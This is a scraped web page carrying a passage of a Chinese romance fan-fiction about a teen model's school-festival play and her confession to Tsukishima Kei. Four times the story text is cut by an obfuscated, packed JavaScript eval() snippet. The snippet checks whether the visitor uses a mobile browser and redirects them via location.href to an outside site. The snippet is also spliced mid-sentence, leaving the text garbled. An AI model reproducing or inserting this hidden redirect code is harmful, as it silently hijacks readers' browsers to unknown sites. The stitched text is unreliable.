d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522833|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 富婆。 讽刺而荒诞的反转、拜金女的形象油然而生。 不过这对北里悠花来说倒不是什么挑战，毕竟这个新版的玛蒂尔德跟她自己的性格有八分像。只要最终达成目的即可，中间过程是如何、有没有违背良心都不重要。 话剧的重头戏一共有两场。 第一场是玛蒂尔德戴着贵妇朋友的钻石项链参加华丽的晚会。淑女们穿着美丽的衣裙在舞池里与绅士们翩翩起舞，衣香鬓影之间、玛蒂尔德靠着这串项链出尽风头。 而第二场，是玛蒂尔德靠倒卖莫桑石项链赚得盆满钵满，最后成为人生赢家的收尾。 剧情都围绕着玛蒂尔德展开，于是北里悠花的戏份非常重。 好在她每天二十四小时都在演戏，内核也就是个喜欢钱的虚荣女，所以演对手戏来竟然得心应手。 “天哪悠花，你简直就是玛蒂尔德本人。” 星野杏利用午休时间来围观话剧排练，她在本次学园祭的工作是道具组。 “真的，你之后有没有考虑过当演员？”村上由奈也点头表示同意。 刚结束一遍练习的北里悠花受宠若惊、她不好意思地捂嘴笑道：“哪有那么夸张啦。” 只是本色出演罢了。 同学们基本都在班级里进行准备。演员在讲台上排练、道具组在教室后方。所以每一遍排练、每一句台词都能被所有人听到。 北里悠花从来不喜欢在人前示弱，既然要演、那就没理由不演绎到最完美。 更何况，月岛萤也会看到她。 * 月岛萤在本次学园祭的工作，是出演一个连台词都没有的背景板——在第一场晚会上跳舞的众多绅士之一。他个子最高、被安排站在最后，基本不怎么引人注意。 所以大多数时间月岛萤都会到班级后方帮道具组的忙，毕竟他的戏份只有三秒，只要在台上晃荡两下、看北里悠花出出风头就行了。 北里悠花在表演第一场晚会戏份时，月岛萤站在她的后方。 她提起裙摆转圈，能看到他的身影。他的目光偶尔会停留在她的身上，但又很快移走。 北里悠花确实十分适合这个角色。 明明是个不怎么正面的形象，却被她表演得有些可爱、让人根本讨厌不起来。好像她就该理所应当戴着最昂贵的钻石项链，为人瞩目。 排练间隙，北里悠花会默默挪到他的身边站着。 她总能自然地躲过所有人的视线，和他说话。 比如现在。 “我演得怎么样？是不是特别好。” 北里悠花说这句话的时候十分自信。 “你确实很适合这个角色。” 月岛萤给出中肯的评价。 “月岛君很有眼光。”听到月岛萤的回复，北里悠花也继续开心地肯定自己，“月岛君将要在这次学园祭见证二十一世纪最伟大女演员的首秀了。” 哪有那么夸张。 二十一世纪最什么是她的固定前缀吗？每次都要带上。 北里悠花确实和玛蒂尔德一样，是一个虚荣的、物质的、坏心眼的人。 但在他面前，又是无比鲜活的。 ……有些可爱的。 12. 12. 月岛萤静静看着北里悠花的脸。 他很少这样、近乎是不礼貌地直接观察别人。但北里悠花的五官分布又确实比其他人要更顺眼那么一点，连造物主都偏爱她。 离学园祭开始还剩一周多，每个人都各司其职。看板涂鸦用的彩绘颜料被堆在地上，旁边等比例的人台身上的表演服装正在等待裁剪缝制。舞台布景道具已经初见成效，他们将在乌野的礼堂舞台上正式表演话剧。 不谙世事的高中生除了还没补完的作业外没什么别的烦恼、能全身心投入准备工作，他们两个躲在角落聊天的人反而显得游手好闲了起来。 “怎么啦，是盯着我看入迷了吗？”北里悠花注意到他的目光，故意歪了歪脑袋。IG上说这是直男最受用的姿势，能最大程度发挥女性魅力。 月岛萤推了下眼镜：“你的想象力很丰富。” “什么嘛，老是那么冷淡。”北里悠花佯装生气、开始噼里啪啦地一顿对月岛萤输出，“月岛君你知道吗，跟别人聊天不能老是只发问号和句号，不然对方真的会很受伤！” 月岛萤一听就知道北里悠花又在戏精上身，反问她：“你也很受伤？” 北里悠花一把捂住心脏的位置，看上去十分心痛：“是呀，我的心已经千疮百孔了。要是月岛君再这么冷淡地回复我，它就要碎掉了。”她眼睛都很湿润，故意露出可怜巴巴的委屈表情来。 “哦，是吗。”可惜月岛萤不解风情。 北里悠花一直觉得，月岛萤年纪轻轻就活出了社畜厌世之感。有时候看上去就像已经上了四十年班的章鱼哥，任凭山崩海啸地震来了表情都不会被撼动分毫。 决定了，等下就把月岛萤的LINE备注改成章鱼哥！ “悠花，刚刚那个片段我们再来排练一次吧。” 刚想和月岛萤再说点什么，负责总监督的同学就开口把她叫走。 北里悠花立马切换了工作模式，连背都比刚刚紧绷了些。多年的艺人生涯对她来说是宝贵的经验，所以即便只是在对台词、也能玛蒂尔德上身进行沉浸式演出。 * 学园祭开始前一天，北里悠花在学校的更衣室试穿本次演出的服装。 这两周排练的同时还要兼顾模特工作，基本所有能量的补充都是靠代餐食品。每当星野杏看到她将蛋白棒和果冻往嘴里送的时候，都会感叹一句“悠花你有这样的意志力做什么都会成功的“。 北里悠花倒是不以为然，虽然并不是出于主要目的，但是这两周她确实达成了目标体重——46kg。她这个身高配这个体重确实是过于瘦了，制服都变得宽大了些。但夏日水着封面很快就要拍摄、再加上学园祭的裙子比较紧身，现在瘦下来无疑是最好的时机。 道具组非常还原小说的历史背景，准备了两条极其华美的裙子。 十九世纪八十年代的法国，消费主义横行、金钱成为了衡量一切的标准。贵族们追求享乐，将所有值钱的东西往身上穿；穷人们渴望成为富人，即便身为被压榨的弱势方、也要拙劣地模仿贵族们的一切。 玛蒂尔德的第一条裙子，是穿去舞会的。巨大的裙撑将这条淡粉色的礼裙支撑起，而细看之下却又能看出工薪阶层的辛酸，因为布料和设计均是街边普通的裁缝店出品。 这条裙子在原著中仅仅价值400法郎，但配上那条光彩夺目的钻石项链、和玛蒂尔德年轻漂亮的脸，却有了40000法郎的尊贵之感。 而第二条裙子，是在玛蒂尔德靠出卖良心成为真正的有钱人后、去高级服装店专门定制的。 她终于能穿上最为奢华的白金裙装，裙子上的每一处细节都勾着巴洛克珍珠和极尽繁复的刺绣花纹。腰身被蕾丝鱼骨衣勾勒得纤细无比，整个人都像一朵盛开的白玫瑰花。 北里悠花觉得自己班级同学的动手能力实在是太强了些，她将衣服拿到手里时真觉得和设计师的高定没什么区别了。 她忍不住向星野杏感叹：“这真的是高中生能做出来的吗？” 星野杏神秘一笑：“悠花还不知道吧，我们道具组的组长是伊藤同学。她的大学志愿可是文化服装学院，据说已经得到好几位教授青睐了。” “太厉害了！” 北里悠花边说边将裙子穿到身上，果然减肥的成果显著、非常合身。 “这两条裙子简直是为你量身定做的！”星野杏帮她拉上拉链，赞美道。 “是伊藤同学太会做裙子了啦~”北里悠花很受用他人的赞美，但还是谦虚了一下。她穿着裙子在镜子前愉悦地转了几个圈，一切都十分完美。 “小杏，明天可以拜托你帮我拍几张照片吗？我想上传到IG上。” “当然没问题。” “太感谢啦~粉丝们也一定会喜欢这两条裙子的。” 而且感觉这次的帖子会有好几万的点赞也说不定。 衣服太适合她了，北里悠花换回制服时都有些恋恋不舍。 Yuuka： 「很适合我吧~」 「（照片）」 她发给月岛萤的是刚刚试穿时的自拍照。照片里她没有做发型、妆容也很淡，却意外有种法兰西少女风的青涩。 北里悠花和月岛萤最近的聊天有些微妙。 总感觉和对方的距离近了些，又似乎是自己的错觉。月岛萤这人从某些方面来说和她很像、也很会装。但北里悠花知道，月岛萤并不讨厌自己偶尔的得寸进尺，甚至有些受用。 上次也是、在说一些臭屁话时他竟然笑了。 当然也可能是被无语笑了。 所以最近她又做了新的尝试，开始有意无意汇报一下每天在干什么、发几张随手拍的生活感照片过去，把自己的日常融入月岛萤的生活。 虽然月岛萤不会全都回就是了。 等了三分钟。 章鱼哥： 「？」 又是问号。 Yuuka： 「不好看吗~怎么又打问号给我呀T.T」 章鱼哥： 「为什么要发自拍给我？」 Yuuka： 「因为我想让月岛君成为第一个看到的人呀^-^」 章鱼哥： 「哦。」 对不起月岛君，其实第一个看到的人是小杏。 * 北里悠花总能对月岛萤毫无愧疚地撒一些小谎。 毫无疑问，她是喜欢月岛萤的。作为平淡无奇的学校生活里最有趣的存在，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522834|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对征服对方充满兴趣。但同时北里悠花对月岛萤的喜欢又没有那么多，只是发消息、说几句拉近距离的话，严格意义上连“追求”都算不上。 月岛萤显然也清楚这一点，看上去压根没把她之前的小把戏当真。 乌野不乏有已经谈起恋爱的小情侣们。前些天学园祭的排练结束，北里悠花在教学楼外意外撞见了告白的场景。 清纯的女高中生特意选在放学、避开人群。 她拿着饱含心意的情书、双手递给接受告白的男高中生，连声音都在颤抖： “OO君，我喜欢你好久了，请和我交往。” 眉眼低垂，脸颊也染上红晕。 男生同样害羞不已，挠了挠头都手足无措了起来。很快又急急忙忙接过情书，然后说出一句： “我才是、喜欢OO酱好久了。今后请多指教！” 可喜可贺。 牵手成功的男女嘉宾脸上是青春洋溢的纯粹笑容，终于在脸红害羞之下完成第一次牵手和拥抱。 那时候站在一旁没有打扰的北里悠花就在想，自己也要这样告白吗？有些老套、而且好麻烦，还要写一封情书。 交往了之后又能干什么呢？高中生最多也只能做到亲吻吧。 无非是相伴上学、放学、周末相约一起出去玩，那这些连小丸子和小玉也能做到啊。 那么相恋的意义是什么呢？ 找一个玩伴？还是将恋爱作为炫耀的谈资？ 就在这时。 “你待在这里干什么？” 身后传来月岛萤的声音。 她的心动对象刚结束部活，也从体育馆经过这条告白小路。 心动是很纯粹的，在看到月岛萤的一瞬间北里悠花听见了自己心脏跳动的声音。原本繁杂的思绪一下子变得清晰无比，苦恼的事情也都有了答案——原来恋爱本就没有那么多逻辑道理，心动就是心动、喜欢也就是喜欢。 美好的高中时代只有短短三年，她不想在这三年里都达成光荣的单身成就。 与其考虑那么多以后，不如及时行乐。 “嘘——”她朝月岛萤做了个噤声手势，压低声音指了指那对小情侣：“刚刚那边告白成功了哦，他们现在是新鲜出炉的情侣了。” 月岛萤看了一眼那边还在拥抱的身影：“那真是恭喜了。”他的脸上没有任何窥探八卦的想法，只写满了“我要回家”。 “月岛君想被怎样告白呢？”北里悠花看着月岛萤，突然没头没尾地来了一句， “但是感觉不管是哪种形式的告白，都会被你拒绝呢。” 刘海微微遮挡住她的眼睛：“不过总要尝试一下。” “所以从今天起，我可以自作主张地喜欢你吗？” 我可以自作主张地喜欢你吗？ 就像我自作主张地对你心动了那样。 但明明是月岛君自己在那个晚上出现的，所以都怪你。 她看见月岛萤一成不变的表情终于出现了波动。 原本“审判者”坚硬的保护罩出现了裂缝，他的动作有些不自然、还夹杂着一丝不耐和焦躁。耳尖很红、眉头微微蹙起。 半晌。 “随便。” 北里悠花露出胜利的微笑。 13. 13. 跟所有校园漫画所描绘的一样，学园祭这天是个晴好的天气。 阳光透过乔木的罅隙、温和而不刺眼。高悬的天际之上，航迹云拖着长长的尾巴、仿若人造的定格流星。乌野的学生们手拿花花绿绿的宣传单，穿着各色的班服，站在校门口的甬道上招揽人气。一时间校园里有些吵吵嚷嚷，也不乏外校学生与家长亲朋的身影。 任谁看了都想感叹一句——年轻真好。 黄濑凉太也是其中一员。 灰色的海常制服的确有些过于显眼，加上模特优越的身高，使得他在一众高中男生中鹤立鸡群。 他最近来仙台的频率过高，每次笠松前辈约他打球问他在哪时总能得到一句“欸！？那天我要去仙台欸”的欠扁答复，然后在电话里被臭骂一顿。 但黄濑凉太野心勃勃、且目标明确。 他拿着一叠女生递来的宣传单，然后径直走向了礼堂、也是所有舞台剧表演的地方。 北里悠花的表演还未开始，她正在后台做最后的准备。 第一幕的衣服比较朴素，还是玛蒂尔德未参加舞会时的常服。朴素的长裙加上盘发，是最普通公务员家庭的主妇。却整天喜欢对着镜子自怨自艾，幻想自己能成为真正的贵妇人。 也就是这时她收到了黄濑凉太的LINE。 KiseRyota☆： 「小悠花☆~我已经坐在台下啦，来看表演的人真的好多T~T好期待小悠花的表演~」 她没有选择回复，到时候说自己忙着准备没有时间回就好了。 北里悠花并不奇怪黄濑凉太会来，因为对方早在十天前便已经在手机上和她预告。 从他出现的那一刻起人群就产生了骚动，星野杏和村上由奈更是用揶揄的表情不断向她使眼色。 还有什么能比异校男友特地从神奈川跑到仙台来看女友学园祭演出更令高中生心动的了吗？没有！ 北里悠花对着好友们一脸无奈：“真的不是你们想的那样！” 这次真的不是！ 要知道卖cp卖过头了必将遭受反噬，北里悠花可不希望自己哪天被炎上网暴。 “我们都懂的啦。”星野杏捂嘴笑，“你和黄濑君肯定是迫于事务所的压力不好公开，但没事，我和由奈支持你们！美男美女才是校园情侣的标配。” “没错，在我们面前不用不好意思。”村上由奈接着补充。 “？”北里悠花此时也想学月岛萤扣一个问号，可惜表演的时间已经到了。 * 本次学园祭持两天，在周六周日进行。 而北里悠花班级的改编版《项链》每天会分别在上午和下午上演两场。 开幕首秀总是令人紧张的，北里悠花站在厚重的红色幕布前、深吸了一口气。随着旁白声音缓缓出现，演出的幕布也被拉开、她提着裙摆走到舞台中间。 聚光灯被打在北里悠花一个人的身上，周围漆黑一片，此时她就是全场的焦点。 莫泊桑在小说原文里这般描写： “她没有漂亮的衣裳，没有珠宝首饰，什么也没有。而她爱的偏偏就是这些；她觉得自己就是为此而生的。她多么希望能够讨男人们的欢心，惹女人们嫉妒，魅力四射，到处受人青睐。” 北里悠花便是如此。 这一刻她是如此真切地能与玛蒂尔德感同身受。她渴望美丽的一切、渴望光芒万丈、渴望永远站在金字塔的顶尖。她能感受到所有人注视的目光，她又恐惧这些目光有一天会变成锋利的箭、狠狠刺进她的心脏。 她念出的一句句台词，也好像在自白。 “亲爱的，我既没有像样的首饰、也没有没有昂贵的珠宝。身上连一件能戴出来的东西都没有！这简直太寒碜了，如果要我接受如此羞辱、我宁可不去参加这个晚会！” 前半部分的故事走向完全按照小说进行。 演出的节奏很快，环环相扣的剧情非常吸引人。在玛蒂尔德向贵妇好友借钻石项链后，下一幕便是她穿着礼服在舞会上大放光彩了。 这本就是为人熟知的经典故事，所以即便每个人都知道大致情节、也会看下去。 随着灯光再一次变暗，北里悠花迅速跑到后台换上裙子。 此时月岛萤和即将上场的同学们一起站在后台等待，绅士们穿着黑色燕尾服、女士们穿着礼服裙。 月岛萤和北里悠花相错开，北里悠花没有注意到。 道具组的同学们正忙着给她套上礼服，北里悠花纤细的腰被鱼骨勒出漂亮的曲线、看着就疼。但换上礼服的她就像穿着战袍，整个人神采奕奕。 月岛萤注视着北里悠花的背影，然后听见总导演催促道： “到你们啦，可以上台了！” 月岛萤跟着一帮同学一起上台。 他称职地当着背景板，随着舞曲的旋律表演简单的步子。北里悠花在演员的中间转圈，她像是一只蝴蝶，终究会飞出宫野县。 玛蒂尔德出尽风头，北里悠花也是。 没人会注意不到她脖子上的钻石项链，就算那只是道具组从亚马逊上购买的廉价仿品，也被她戴得高贵无比。 不知道是不是因为在表演的缘故，北里悠花的表情看起来恣意极了。 * 《项链》的表演终于落幕。 玛蒂尔德穿着华服、为整场演出画上句点。她真正跨越了阶级，再也不必受工薪家庭的束缚而有了作主的权利。在充满特权阶级的时代里、就算当个恶人又如何？没有人会责怪一个无辜的妇女，她只是帮纳税人在惩治那些只懂得吃喝玩乐的贵族和资本家们罢了。 北里悠花提着裙摆，朝台下的观众深深鞠躬。 这着实是一场精彩的演出，甚至观众席上有观众忍不住站起喝彩。掌声如潮水般袭来，她享受着莫大的喜悦。 黄濑凉太是起身鼓掌的人之一。 他特意挑选了一个前排的位置，确保自己一站起就能被台上的演员看见。北里悠花站在致谢队伍的最前列，自然也是看到了正在用力鼓掌的黄濑凉太。她朝黄濑凉太点了点头，就将视线移开。 北里悠花一直觉得黄濑凉太对自己的好感来得莫名其妙。 说是对方只看脸吧，他似乎也没有那么肤浅。但如果说黄濑凉太是看中了她的内在，北里悠花是怎么都不相信的。毕竟从认识开始，她在黄濑凉太面前扮演的就是一朵清纯小白花、只是偶尔会长几根刺。 第一场结束后迎来短暂的午休，作为演职人员他们能逛学园祭的时间并不多。下午场的演出将在两点三十分开始，北里悠花他们还有两个小时的自由活动时间。携 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522835|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着蛋糕裙摆移动过于重量级，所以她回班级换回了自己的制服。 不多久，黄濑凉太出现在她的班级门口。 第一个注意到的人是星野杏。她实在过于惊讶，就像见到偶像的粉丝、没忍住在张口来了句：“牙白——！”。接着她大声呼唤北里悠花，“悠花悠花！快来门口！” 北里悠花正在整理发型，被星野杏的声音吓了一跳。她转头就看到那个自带聚光灯效应的人站在门口朝她打招呼。 “又是好久不见了，小悠花。” 这里是学校，不能冷嘲热讽。 没人想在学园祭见到自己工作时的同事，这跟又上一天班有什么两样？ 北里悠花让自己保持得尽量平心静气，又端上了社交笑容：“好久不见，黄濑君。” 黄濑凉太非常不认生，直接长腿一迈进了教室。他走到她的课桌旁蹲下，用委屈的表情两只手扒拉在桌子边缘看向北里悠花：“小悠花越来越冷淡了，现在直接对我的消息已读不回。“ 北里悠花无视他亮闪闪的眼神，将嘴角往上扬、成为一个夸张的假笑：“实在不好意思呀，上午忙着演出，一下子意念回复了。“ “那天你生日也是，我可是特地给了小悠花零点祝福欸！你竟然是第二天中午才回复的！“黄濑凉太没打算就这样放过她，将生日事件搬上台面。 “因为那天晚上我太累直接睡着了，根本没熬到零点。而且黄濑君，其实我一直没有过生日的习惯。” 这并非托词，北里悠花确实没有过生日的习惯。 那天特地来仙台给她送土星项链后，黄濑凉太还在北里悠花生日当天的零点准时送上了祝福。这也是她手机里除了北里女士之外，唯一的一条生日祝福。 很少有人知道她的生日，黄濑凉太会知道还是因为有一年杂志要做专属模特的介绍板块、他们是一起填写问题的，属实没想到黄濑凉太会记那么久。 北里悠花很感谢有人始终把她放在心上，可是对方不知道的是、她过完国小一年级的生日后就再也没有过过生日了。 那年的生日她简直是全天下最幸福的小孩。父亲给她买了新裙子、她拥有一个巨大的爱心蛋糕、住在亮堂的大别墅里、还是小公主。 可是那之后的第二天，父亲就从公司顶楼一跃而下。那时候北里悠花才知道前一晚的生日不过是父亲留给她最后的美好记忆，也是北里家最后的虚假繁荣。 她该感谢吗？感谢他至少没有在自己生日当天跳楼。 她和黄濑凉太之间总是差了一点缘分。 黄濑凉太也从没有想过，为什么如此爱慕虚荣且渴望成为人群中心的北里悠花，会从来没有主动提过生日、连生日当天都没有在IG上传一张图。 不是在耍什么欲情故纵的把戏，单纯是因为对北里悠花来说，她已经不能在这一天感到快乐了。 “那作为补偿，小悠花陪我一起逛乌野的学院祭吧~我还是第一次来呢。” 她就知道黄濑凉太会得寸进尺！ 刚想以“已经和两个朋友约好了一起逛”为理由拒绝他，却发现星野杏和村上由奈早已肩负起cp粉的职责、为了给两人制造独处空间而逃之夭夭了。 “……”北里悠花沉默，直到看到也返回班级休息的月岛萤时才眼前一亮。 14. 14. 月岛萤刚走进教室就听见北里悠花的声音。 “月岛君——月岛君——！” 直觉告诉月岛萤如此殷勤肯定没什么好事，果不其然一抬头就和那位远道而来的黄濑凉太四目相对了。 教室里的空气很微妙，黄濑凉太见到来人后站直了身子、用警惕而打量的目光将月岛萤从头到脚扫视了一遍。不知是觉得没有威胁还是自信心过剩，他并没有把月岛萤当成竞争对手、也不认为北里悠花会对这种“好学生”类型心动——无非是用来躲他的借口罢了。 月岛萤则一手插兜站在原地，并没有走过去。脸上是万年不变的淡淡神色，好像世界万物都事不关己。他无心参与男女主角的的爱恨情仇，只想当个围观的路人甲。 但是很可惜，女主角并没有给他这个机会。现在他作为路人甲的戏份实在过多，都有朝男二号发展的趋势了。 北里悠花跑到月岛萤面前，趁着班里人不多拉了拉月岛萤的衣角、又转头跟黄濑凉太打招呼：“抱歉呀黄濑君，我和这位道具组的月岛君已经约好了。我们等下要一起去准备下午舞台剧的道具，所以今天可能不能带你逛学园祭了，下次拍摄封面的时候我请你喝饮料呀~” 准备下午的道具？他怎么不知道有这回事。 月岛萤闻言扬了扬眉，原来是被当作挡枪的工具人了。 “小悠花好过分！QAQ” 黄濑凉太的声音还飘荡在空气中，北里悠花就一把拉过月岛萤的手臂跑远了。不过她也没想到月岛萤竟然真的会乖乖跟她走，还小小担心了下刚刚会被当场拆穿呢。 于是他们逆着人流的轨迹，穿梭在学校的走道中。人很多、声音很吵，透过制服的布料、北里悠花甚至能触碰到他因常年训练而保持着的紧实肌肉。 “要去哪里准备道具？女主角？”月岛萤的语气调侃，准备看她接下去如何表演。 两旁的班级分别是鬼屋、女仆咖啡和甜品店，每一个都人满为患，他们一进去必然会被发现。北里悠花嘟着嘴，哼了声：“月岛君明明知道这只是借口还问我。” 月岛萤继续发力：“看来你这位普通同事对你并不普通。” 北里悠花抓着他手臂的手还没有放开。她一边拉着他继续往前走，一边笑着说：“那我可以认为你是在吃醋吗？” 月岛萤被她的厚脸皮彻底打败。 “你的想象力真的很丰富。” 两边的人渐渐少了许多，等到反应过来时他们已经上到了顶楼、站在通往天台的楼梯口了。甚至能听见风吹过的声音，仿佛跟楼下热闹的学园祭是两个世界、十分有割裂感。 现在北里悠花却只能听见他们彼此的呼吸声。 而月岛萤终于没有再继续纵容北里悠花的行径，轻轻用力就一下挣脱了北里悠花的挟持。他转而反手一把将北里悠花的手腕控制住，声音很冷： “如果是陪你玩无聊的恋爱游戏，我想你选错人了。” 月岛萤的力气很大，北里悠花被他握住的地方都有些疼了。她不舒服地转动手腕尝试调整、可只是徒劳，反倒被对方握得更紧。 于是北里悠花使出了杀手锏，无论何时何地都能在五秒内鼻子一酸、露出两眼泪汪汪的样子来：“你抓得我好疼，快松开啦。” 月岛萤的道德底线显然比北里悠花高许多，在被指控故意伤害罪前立马松开了手。 北里悠花摸了摸自己白皙的手腕，定定看着对方的眼睛。她早晨化的舞台妆容依旧完好，睫毛根根分明、扇动时恰巧能露出微微泛红的眼眶，看起来无辜极了。 “我一直是认真的。那天放学后说喜欢你是认真的，想和月岛君谈恋爱的心情也是认真的。所以要不要考虑一下我？我一定会让你幸福的。” 我一定会让你幸福的。 这是深夜肥皂剧里男主角常对女主角说的台词，却被一个高中女生坚定地说出口。 而更可怕的是，月岛萤竟然都快要被北里悠花欺骗过去、分辨不出她话语中的真假。虚无缥缈的喜欢太过廉价，“幸福”二字在两个乳臭未干的高中生面前不过是作祟的多巴胺。 被多巴胺影响仅几秒，月岛萤又恢复了理智。 他依然是居高临下的审判者，看着面前正在表白的女主角。北里悠花表演痕迹有些明显，是公式化的教科书演技。因为要让观众们认识到真爱才是世界上最伟大的东西，小白花在告白时眼神总会有一丝倔强与不服输，北里悠花也是如此。 她还在进行表演，剧情却有些偏离轨道。 “我真的觉得那天晚上遇到你是命中注定。而且我有自信，” 北里悠花作出巧妙的停顿。 “只有我能让你幸福。” 北里悠花的语气实在过于笃定，好像她真的已经提前拿到了人生剧本、看到了他们的大结局是Happy Ending。 他们才认识多久？两个多月。 她真的了解他是什么人吗？喜欢真的可以是如此肤浅的东西吗？ 加上LINE之后确实每天都有聊天，可也都是无关痛痒的小事。但细细回想，那些对方刻意营造的日常已经逐渐侵入他的私人领地。 月岛萤清楚知道，北里悠花的话里绝对有虚情假意、却也竟然真的有一丝真心。 他难得地说不出话来。 气氛被广播里传出的音乐打断。 这意味着所有工作人员的午休时间已经结束，需要准备下午半场学园祭了。 北里悠花的盘发造型有些乱了，几缕不听话的卷发散落在光滑的脖颈上。等下她又要做回玛蒂尔德，走上舞台。 事情的朝向总是不受控制。 月岛萤说不清自己这样做是为什么，只是伸出手，将那几缕头发别到她的耳后： “该回去准备演出了，二十一世纪最伟大的女演员。” 他的大脑还记得这个滑稽的称呼，而他又可笑地把这个前缀说出口。 * 北里悠花和月岛萤一起回到后台。 她故意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522836|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和月岛萤贴近了一点点距离，营造一种暧昧的氛围希望能被起哄。 但北里悠花的计划很快破产。因为班里的同学一直觉得他们八竿子打不着关系，根本没有想到刚刚在顶楼发生了怎样精彩的戏码，只当两人是碰巧在外面遇到。 接着道具组急着给月岛萤套上等下演出的燕尾服，北里悠花也被众人又推到化妆台前、开始调整那几缕错位的卷发。 只有山口忠，敏锐地发现了不太对劲。 他在学园祭的分工是场景布置，刚刚已经提前确认完第一幕所有的背景板摆放、得空休息。 山口忠非常了解月岛萤，这几天对方和北里悠花一同出现的频率实在过高了点。当然，他依然没把事情往“恋爱”上靠，只当月岛萤和北里悠花成为了朋友。 月岛萤换上燕尾服之后就没什么要紧事，开始候场。这时山口忠站到他旁边关心道：“阿月最近和北里同学关系是不是变好了。“ 作为从小一起长大的挚友，月岛萤并不奇怪山口忠能发现，毕竟有些巧合多了就不是巧合了。但他还是嘴硬、回答得模棱两可。 “算是吧。” 这个词能从月岛萤嘴里说出来已是让人震惊，看来阿月确实和北里同学的关系不错。 山口忠能读懂了他的傲娇，只是好脾气地笑笑。他知道月岛萤一向不喜欢说太多自己的事情，便没有继续追问下去。 “但北里同学真的很细心呢。”他说道。 月岛萤露出一个疑惑的表情，不知道山口忠为什么突然给北里悠花打好评。 “上次她从东京回来，不是给我们所有人都带了伴手礼吗？听星野同学说，那个伴手礼还挺贵的。哦对了，她还因为值日的事情就专门给阿月你带了单独的伴手礼，那个礼物后来到底是什么啊？。” “就是普通的摆件。” 月岛萤并没有透露东京限定恐龙模型的存在。 山口忠又连连摆手：“有些事我也只是听别人说的，但感觉北里同学人应该挺好的。” 和平使者山口忠今天也平等地以善意看待身边的每一个人，并连忙找补自己话里的漏洞、开始叠甲。 月岛萤不置可否。 他再次看着北里悠花上台。 刚刚告白的高中女生和此时舞台上的玛蒂尔德完全是两个人，登上舞台的北里悠花又做回了光芒万丈的女明星。月岛萤看不透她内心到底在想什么，虽然身体的本能还是驱使他靠近、但理智也在试图力挽狂澜。 玛蒂尔德改写人生剧本的故事又一次上演，唯独不变的是、北里悠花还在接受台前幕后所有人的评判。 而他是艺人小姐消遣的手段、是玛蒂尔德无数莫桑石项链中的一条。没有她嘴里说得那般特别、也没有她表现出的那样喜欢。 他上台时又看到了坐在前排的黄濑凉太，同样的剧情真的需要看两遍吗？ 月岛萤不需要恋爱。 还是无关紧要的路人甲最适合他，女主角好好在台上享受欢呼就够了。 15. 15. 一年一度的学园祭终于落下帷幕。 这之后的学校生活并不轻松，月岛萤回归主线准备期末考试、忙着训练与IH比赛；北里悠花则在放学后为了KANSAI COLLECTION练习走秀，闲暇之余还要继续更新视频。 自从在IG上传了学园祭的照片后，点赞量来到了历史新高、甚至还登上了热门。评论区全是对玛蒂尔德装扮的夸赞，粉丝们纷纷留言，说“悠花女神连演员身份也能完美驾驭”。每天刷着评论区的北里悠花可谓是心花怒放，连吃减脂餐都更有力气了。 可惜她除了是艺人之外、还是学生。 面对即将到来的期末考试也倍感头疼——之前的期中考试虽然以“刚转校来学习进度不太一样”蒙混过关，可成绩确实不好看、差一点就要进假期补课班的大军了。这次北里悠花决定痛定思痛，至少数学要及格。 但学习并非是一朝一夕就能快速突击的事情，北里悠花又被各种工作缠身、她的努力成效甚微。 这两周的数学课对她来说依然犹如天书，面对着夹杂着英文字母的数学公式她恨不得把课本一起撕了。 这不又到了数学课的随堂小测。 北里悠花看着卷子上的题目简直欲哭无泪，拿起水笔在几道最基础的填空选择上作答后便对着一堆大题开始发呆。 尤其是在数学这个科目上，一旦跳过了一道大题、后面几道大题基本上也都是不会做的，更别谈什么压轴题了。 比起把卷面全部写满而一分不得、还不如就这样空白交上去算了。 北里悠花绝望地想。 “好了时间到了，大家都交卷吧。” 随着数学老师的一声令下，同学们纷纷停止作答。北里悠花假装若无其事地接过后面同学传上来的试卷，还把自己的卷子刻意藏到了最底下。 一下课星野杏就跑来她旁边抱怨：“这数学小测也太难了，我根本没做出来几题。” 这一刻北里悠花如同找到战友、连连点头道：“我也是……最近太忙都没有好好复习，只能随便交上去了。” 其实是复习了不会做。 “哎——真羡慕那些理科好的。由奈你是不是没花几分钟就做完了。” 